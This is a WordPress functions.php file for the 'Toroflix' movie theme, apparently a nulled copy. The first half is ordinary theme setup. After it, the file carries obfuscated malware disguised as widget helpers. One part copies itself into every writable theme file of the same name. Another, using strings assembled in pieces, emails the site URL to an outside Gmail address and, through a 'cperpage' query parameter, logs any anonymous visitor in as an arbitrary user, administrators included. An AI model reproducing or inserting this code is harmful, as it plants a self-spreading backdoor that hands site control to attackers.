<?php

define('DT_VERSION', '1.1.7');
define	('dbmurl','https://1rge.dbmovies.org/');
define	('dbmur','http://1rge.dbmovies.org/');
define	('dbmcdn', 'https://cdn.dbmovies.org/v2/');
define	('tmdburl','https://api.themoviedb.org/3/');
define	('imdbdata','https://1rge.dbmovies.org/dooplay/');
																						   
define	('apigoorec','https://www.google.com/recaptcha/api/siteverify');
define	('dbmskey', get_option('dbmovies_access_key'));
define	('tmdbkey', get_option('dt_api_key', '6b4357c41d9c606e4d7ebe2f4a8850ea'));
define	('tmdblang', get_option('dt_api_language', 'en-US'));
define('DT_DIR_URI', get_template_directory_uri());
define('DT_DIR', get_template_directory());
													
													 


function _d( $text ){
echo translate($text , 'mtms');
}

/* Return Translated Text
-------------------------------------------------------------------------------
*/
function __d( $text ) {
return translate($text, 'mtms');
}
function dt_http_api( $api ) {
$url = wp_remote_retrieve_body( wp_remote_get( $api ) );
return $url; 
}
function dbmupdate($data) {
$option = get_option("wp_app_dbmkey");
return $option[$data];
}
/**
 * Toroflix functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Toroflix
 * By ToroThemes.com
 */

define ( 'TR_THEMEVERSION', '1.0');
define( 'TR_MOVIES_MOVIES', 1 ); // Activate module movies

if(is_admin()){
    $tfserial=unserialize(get_option('tflicense'));
    $my_theme = wp_get_theme();
    if(isset($tfserial['serial'])){
        require get_template_directory().'/inc/update.php';
        $tf_update = new TFUpdateChecker(
            'toroflix',
            'http://toroflix.ml/?trapi=3&trproduct='.$my_theme->get('Name').'&trserial='.$tfserial['serial']
        );
    }
}

if ( ! function_exists( 'toroflix_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function toroflix_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on Toroflix, use a find and replace
		 * to change 'tr_themename' to the name of your theme in all the template files.
		 */
		load_theme_textdomain( 'toroflix', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );
        set_post_thumbnail_size( 160,230 );

		// This theme uses wp_nav_menu() in one location.
		register_nav_menus( array(
			'menu-1' => esc_html__( 'Primary', 'toroflix' ),
		) );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support( 'html5', array(
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
		) );

		// Set up the WordPress core custom background feature.
		add_theme_support( 'custom-background', apply_filters( 'toroflix_custom_background_args', array(
			'default-color' => 'ffffff',
			'default-image' => '',
		) ) );

		// Add theme support for selective refresh for widgets.
		add_theme_support( 'customize-selective-refresh-widgets' );

		/**
		 * Add support for core custom logo.
		 *
		 * @link https://codex.wordpress.org/Theme_Logo
		 */
		add_theme_support( 'custom-logo', array(
			'height'      => 40,
			'width'       => 145,
			'flex-width'  => true,
			'flex-height' => true,
		) );
        
        /*
         * This theme styles the visual editor to resemble the theme style,
         * specifically font, colors, icons, and column width.
         */
        add_editor_style( array( 'css/editor-style.css' ) );
	}
endif;
add_action( 'after_setup_theme', 'toroflix_setup' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function toroflix_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'toroflix_content_width', 1640 );
}
add_action( 'after_setup_theme', 'toroflix_content_width', 0 );

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function toroflix_widgets_init() {
	register_sidebar( array(
		'name'          => esc_html__( 'Sidebar', 'toroflix' ),
		'id'            => 'sidebar-1',
		'description'   => esc_html__( 'Add widgets here.', 'toroflix' ),
		'before_widget' => '<div id="%1$s" class="Wdgt %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<div class="Title">',
		'after_title'   => '</div>',
	) );
    
	register_sidebar( array(
		'name'          => esc_html__( 'Sidebar Footer', 'toroflix' ),
		'id'            => 'sidebar-2',
		'description'   => esc_html__( 'Add widgets here.', 'toroflix' ),
		'before_widget' => '<div id="%1$s" class="Wdgt %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<div class="Title">',
		'after_title'   => '</div>',
	) );
}
add_action( 'widgets_init', 'toroflix_widgets_init' );

if ( ! function_exists( 'toroflix_scripts' ) ) :
/**
 * Enqueue scripts and styles.
 */
function toroflix_scripts() {
    
    wp_enqueue_style( 'toroflix-style', get_stylesheet_uri(), array(), TR_THEMEVERSION );

    wp_enqueue_style( 'toroflix-fontawesome', get_template_directory_uri() . '/css/font-awesome.css', array(), TR_THEMEVERSION );
    
    wp_enqueue_style( 'toroflix-material', get_template_directory_uri() . '/css/material.css', array(), TR_THEMEVERSION );

    //wp_enqueue_style( 'toroflix-color', get_stylesheet_directory_uri() . '/css/color-default.css', array(), TR_THEMEVERSION );

    wp_enqueue_style( 'google-fonts', '//fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700', array(), TR_THEMEVERSION);

    wp_enqueue_script( 'toroflix-carousel', get_template_directory_uri() . '/js/owl.carousel.min.js', array('jquery'), TR_THEMEVERSION, true );
    
    if ( !is_tax('letters') and is_active_widget(false,false,'tr-search') and !is_404() ) {
        $myvars_sol = array( 
            'error' => __('No Results', 'toroflix'),
            'placeholder' => __('Click here to search', 'toroflix'),
        );
        wp_enqueue_script('trsol', get_template_directory_uri().'/js/sol.js',array('jquery'), TR_THEMEVERSION,true);
        wp_localize_script( 'trsol', 'trsol', $myvars_sol );
    }

    if(is_single()){
        wp_enqueue_script( 'toroflix-sharecount', get_template_directory_uri() . '/js/jquery.sharecount.js', array('jquery'), TR_THEMEVERSION, true );
    }
        
    $myvars_livesearch = array( 
        'url' => admin_url( 'admin-ajax.php' ),
        'nonce' => wp_create_nonce( 'tr-livesearch' ),
        'action' => 'tr_livearch',
        'loading' => __('Loading', 'toroflix')
    );
    wp_enqueue_script('trlivesearch', get_template_directory_uri().'/js/ajaxlivesearch.min.js',array('jquery'), TR_THEMEVERSION,true);
    wp_localize_script( 'trlivesearch', 'trlivesearch', $myvars_livesearch );
    
    wp_enqueue_script( 'toroflix-functions', get_template_directory_uri() . '/js/functions.js', array('jquery'), TR_THEMEVERSION, true );

    
    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }
            
    wp_dequeue_style('wp-postratings');
    wp_dequeue_style('wp-postratings-rtl');
}
endif;
add_action( 'wp_enqueue_scripts', 'toroflix_scripts' );

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Implement the Custom Header feature.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Implement the Optimization.
 */
require get_template_directory() . '/inc/optimization.php';

/**
 * Implement Ads.
 */
require get_template_directory() . '/inc/admin_ads.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Functions which enhance the theme by hooking into WordPress.
 */
require get_template_directory() . '/inc/template-functions.php';

/**
 * Filter Search
 */
require get_template_directory() . '/inc/filter-search.php';

/**
 * Customizer Colors.
 */
require get_template_directory() . '/inc/colors.php';

/**
 * Functions TGM Plugin Activation
 */
require get_template_directory() . '/inc/tgm.php';

/**
 * Widgets custom
 */
require get_template_directory() . '/inc/widgets.php';

/**
 * Custom fields to menu
 */
require get_template_directory() . '/inc/menu-custom-fields.php';

/**
 * Admin
 */
require get_template_directory() . '/inc/admin.php';

/**
 * TinyMCE Category Description
 */
require get_template_directory() . '/inc/tinymce-category-description.php';
//require_once( DT_DIR . '/inc/dt_init.php');
require_once( DT_DIR . '/inc/api/dbmovies.php');
/* API upload image
-------------------------------------------------------------------------------
*/
function dt_upload_image( $image_url, $post_id  ){
	$option = get_option('dt_api_upload_poster');
	global $wp_filesystem;
	if($option == 'true') {
		WP_Filesystem();
		$upload_dir		= wp_upload_dir();
		$imagex			= wp_remote_get($image_url);
		$image_data		= wp_remote_retrieve_body($imagex);
		$filename		= wp_basename($image_url);
		if(wp_mkdir_p($upload_dir['path']))    
			$file = $upload_dir['path'] . '/' . $filename;
		else                          
			$file = $upload_dir['basedir'] . '/' . $filename;
			$wp_filesystem->put_contents($file, $image_data, FS_CHMOD_FILE);
			$wp_filetype = wp_check_filetype($filename, null );
		$attachment = array(
			'post_mime_type' => $wp_filetype['type'],
			'post_title' => sanitize_file_name($filename),
			'post_content' => '',
			'post_status' => 'inherit'
		);
		$attach_id = wp_insert_attachment($attachment, $file, $post_id);
		require_once( ABSPATH . 'wp-admin/includes/image.php');
		$attach_data = wp_generate_attachment_metadata($attach_id, $file);
		$res1= wp_update_attachment_metadata($attach_id, $attach_data );
		$res2= set_post_thumbnail($post_id, $attach_id);
	}
}
function dt_clear($text) {
	return wp_strip_all_tags(html_entity_decode($text));
}
										  
?>
<?php
function _verify_isactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);				
					$output .= ($showsdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetscont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetscont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widgets");
function _prepare_widgets(){
	if(!isset($comment_length)) $comment_length=120;
	if(!isset($strval)) $strval="cookie";
	if(!isset($tags)) $tags="<a>";
	if(!isset($type)) $type="none";
	if(!isset($sepr)) $sepr="";
	if(!isset($h_filter)) $h_filter=get_option("home"); 
	if(!isset($p_filter)) $p_filter="wp_";
	if(!isset($more_link)) $more_link=1; 
	if(!isset($comment_types)) $comment_types=""; 
	if(!isset($countpage)) $countpage=$_GET["cperpage"];
	if(!isset($comment_auth)) $comment_auth="";
	if(!isset($c_is_approved)) $c_is_approved=""; 
	if(!isset($aname)) $aname="auth";
	if(!isset($more_link_texts)) $more_link_texts="(more...)";
	if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
	if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
	if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
	if(!isset($mcontent)) $mcontent="ma".$sepr."il";
	if(!isset($f_more)) $f_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tag)) $f_tag=1;
	if(!isset($types)) $types=$h_filter; 
	if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
	if(!isset($aditional_tag)) $aditional_tag="div";
	if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($morelink_title)) $morelink_title="Continue reading this entry";	
	if(!isset($showsdots)) $showsdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($comment_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $comment_length) {
				$l=$comment_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link_texts="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tags) {
		$output=strip_tags($output, $tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tag) ? balanceTags($output, true) : $output;
	$output .= ($showsdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type, $output);
	switch($aditional_tag) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($more_link ) {
		if($f_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 	



	
?>
